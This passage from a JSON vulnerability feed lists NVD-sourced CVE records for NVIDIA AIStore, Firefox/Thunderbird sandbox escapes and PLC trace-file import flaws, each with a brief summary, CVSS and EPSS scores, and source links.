fixes.","publishedAt":"2026-10-13T14:17:26.800Z","updatedAt":"2026-10-15T16:17:44.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109520","asOf":"2026-10-15T16:17:44.113Z"},"epss":{"probability":0.00111,"percentile":0.01305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109520&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109520","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109520","type":"primary","publishedAt":"2026-10-13T14:17:26.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109520&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109520, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65173","cveId":"CVE-2026-65173","aliases":[],"kind":"vulnerability","title":"NVIDIA AIStore for Linux contains a missing authentication vulnerability in the token-revocation endpoint where an unauthenticated remote attacker may submit crafted...","summary":"NVIDIA AIStore for Linux contains a missing authentication vulnerability in the token-revocation endpoint where an unauthenticated remote attacker may submit crafted token-revocation lists. A successful exploit may lead to data tampering and denial of service.","detail":"NVIDIA AIStore for Linux contains a missing authentication vulnerability in the token-revocation endpoint where an unauthenticated remote attacker may submit crafted token-revocation lists. A successful exploit may lead to data tampering and denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:33.540Z","updatedAt":"2026-10-13T16:18:53.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65173","asOf":"2026-10-13T16:18:53.587Z"},"epss":{"probability":0.00531,"percentile":0.44622,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65173&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65173","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65173","type":"primary","publishedAt":"2026-10-13T13:17:33.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65173&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65173, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65162","cveId":"CVE-2026-65162","aliases":[],"kind":"vulnerability","title":"NVIDIA AIStore for Linux contains a vulnerability in the legacy ETL Kubernetes PodSpec initialization API where a remote attacker may supply Kubernetes host-namespace and...","summary":"NVIDIA AIStore for Linux contains a vulnerability in the legacy ETL Kubernetes PodSpec initialization API where a remote attacker may supply Kubernetes host-namespace and container-security settings. A successful exploit may lead to code execution, privilege escalation, information disclosure, data tampering, and denial of service.","detail":"NVIDIA AIStore for Linux contains a vulnerability in the legacy ETL Kubernetes PodSpec initialization API where a remote attacker may supply Kubernetes host-namespace and container-security settings. A successful exploit may lead to code execution, privilege escalation, information disclosure, data tampering, and denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:32.837Z","updatedAt":"2026-10-13T16:18:53.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65162","asOf":"2026-10-13T16:18:53.587Z"},"epss":{"probability":0.00659,"percentile":0.51256,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65162&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65162","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65162","type":"primary","publishedAt":"2026-10-13T13:17:32.837Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65162&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65162, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109755","cveId":"CVE-2026-109755","aliases":[],"kind":"vulnerability","title":"Sandbox escape in the DOM: Content Processes component.","summary":"Sandbox escape in the DOM: Content Processes component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.","detail":"Sandbox escape in the DOM: Content Processes component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:26.417Z","updatedAt":"2026-10-15T20:17:08.070Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109755","asOf":"2026-10-15T20:17:08.070Z"},"epss":{"probability":0.00338,"percentile":0.26972,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109755&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109755","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109755","type":"primary","publishedAt":"2026-10-13T13:17:26.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109755&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109755, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109750","cveId":"CVE-2026-109750","aliases":[],"kind":"vulnerability","title":"Site isolation issue in the DOM: Web Authentication component.","summary":"Site isolation issue in the DOM: Web Authentication component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.","detail":"Site isolation issue in the DOM: Web Authentication component. This vulnerability was fixed in Firefox 158 and Thunderbird 158.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:25.887Z","updatedAt":"2026-10-19T21:17:04.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109750","asOf":"2026-10-19T21:17:04.920Z"},"epss":{"probability":0.0038,"percentile":0.31709,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109750&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109750","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109750","type":"primary","publishedAt":"2026-10-13T13:17:25.887Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109750&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109750, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109745","cveId":"CVE-2026-109745","aliases":[],"kind":"vulnerability","title":"Sandbox escape due to uninitialized memory in the DOM: Web Serial component.","summary":"Sandbox escape due to uninitialized memory in the DOM: Web Serial component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Sandbox escape due to uninitialized memory in the DOM: Web Serial component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:25.360Z","updatedAt":"2026-10-19T13:16:54.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109745","asOf":"2026-10-19T13:16:54.080Z"},"epss":{"probability":0.00349,"percentile":0.28302,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109745&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109745","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109745","type":"primary","publishedAt":"2026-10-13T13:17:25.360Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109745&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109745, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109740","cveId":"CVE-2026-109740","aliases":[],"kind":"vulnerability","title":"Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component.","summary":"Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:24.587Z","updatedAt":"2026-10-19T12:16:59.840Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109740","asOf":"2026-10-19T12:16:59.840Z"},"epss":{"probability":0.00349,"percentile":0.28302,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109740&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109740","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109740","type":"primary","publishedAt":"2026-10-13T13:17:24.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109740&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109740, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109708","cveId":"CVE-2026-109708","aliases":[],"kind":"vulnerability","title":"Sandbox escape due to incorrect boundary conditions in the Networking component.","summary":"Sandbox escape due to incorrect boundary conditions in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Sandbox escape due to incorrect boundary conditions in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:20.910Z","updatedAt":"2026-10-15T20:17:07.163Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109708","asOf":"2026-10-15T20:17:07.163Z"},"epss":{"probability":0.0032,"percentile":0.24777,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109708&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109708","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109708","type":"primary","publishedAt":"2026-10-13T13:17:20.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109708&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109708, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109707","cveId":"CVE-2026-109707","aliases":[],"kind":"vulnerability","title":"Sandbox escape due to use-after-free in the Networking component.","summary":"Sandbox escape due to use-after-free in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Sandbox escape due to use-after-free in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:20.803Z","updatedAt":"2026-10-13T19:18:33.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109707","asOf":"2026-10-13T19:18:33.973Z"},"epss":{"probability":0.00311,"percentile":0.23757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109707&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109707","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109707","type":"primary","publishedAt":"2026-10-13T13:17:20.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109707&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109707, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109705","cveId":"CVE-2026-109705","aliases":[],"kind":"vulnerability","title":"Sandbox escape, site isolation issue due to incorrect boundary conditions, use-after-free in the Networking component.","summary":"Sandbox escape, site isolation issue due to incorrect boundary conditions, use-after-free in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.","detail":"Sandbox escape, site isolation issue due to incorrect boundary conditions, use-after-free in the Networking component. This vulnerability was fixed in Firefox 158, Firefox ESR 153.5, Thunderbird 158, and Thunderbird 153.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T13:17:20.587Z","updatedAt":"2026-10-13T19:18:33.667Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109705","asOf":"2026-10-13T19:18:33.667Z"},"epss":{"probability":0.00311,"percentile":0.23757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109705&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109705","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109705","type":"primary","publishedAt":"2026-10-13T13:17:20.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109705&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109705, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63354","cveId":"CVE-2026-63354","aliases":[],"kind":"vulnerability","title":"Affected devices do not properly validate and sanitize visual marker data contained in imported CSV trace files before rendering it on the Trace page.","summary":"Affected devices do not properly validate and sanitize visual marker data contained in imported CSV trace files before rendering it on the Trace page.\r\n\r\nThis could allow an attacker to social engineer an authorized user who holds the function right “Read diagnostics” into importing a specially crafted trace file. Successful exploitation could allow attacker-controlled JavaScript to execute in the user’s browser session and perform PLC operations through the web server within the scope of the user’s authorization.","detail":"Affected devices do not properly validate and sanitize visual marker data contained in imported CSV trace files before rendering it on the Trace page.\r\n\r\nThis could allow an attacker to social engineer an authorized user who holds the function right “Read diagnostics” into importing a specially crafted trace file. Successful exploitation could allow attacker-controlled JavaScript to execute in the user’s browser session and perform PLC operations through the web server within the scope of the user’s authorization.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:18.450Z","updatedAt":"2026-10-16T18:17:59.857Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63354","asOf":"2026-10-16T18:17:59.857Z"},"epss":{"probability":0.00314,"percentile":0.24027,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63354&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63354","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63354","type":"primary","publishedAt":"2026-10-13T10:17:18.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63354&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63354, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63353","cveId":"CVE-2026-63353","aliases":[],"kind":"vulnerability","title":"Affected devices do not properly sanitize comment fields contained in imported trace files before rendering them on the Trace page.","summary":"Affected devices do not properly sanitize comment fields contained in imported trace files before rendering them on the Trace page.\r\n\r\nThis could allow an attacker to social engineer an authorized user who holds the function right “Read diagnostics” into importing a specially crafted trace file. Successful exploitation could allow attacker-controlled JavaScript to execute in the user’s browser session and perform PLC operations through the web server within the scope of the user’s authorization.","detail":"Affected devices do not properly sanitize comment fields contained in imported trace files before rendering them on the Trace page.\r\n\r\nThis could allow an attacker to social engineer an authorized user who holds the function right “Read diagnostics” into importing a specially crafted trace file. Successful exploitation could allow attacker-controlled JavaScript to execute in the user’s browser session and perform PLC operations through the web server within the scope of the user’s authorization.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:18.040Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63353","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00314,"percentile":0.24027,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63353&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63353","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63353","type":"primary","publishedAt":"2026-10-13T10:17:18.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63353&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63353, scored 2026-10-25. This is a model estimate, not proof of 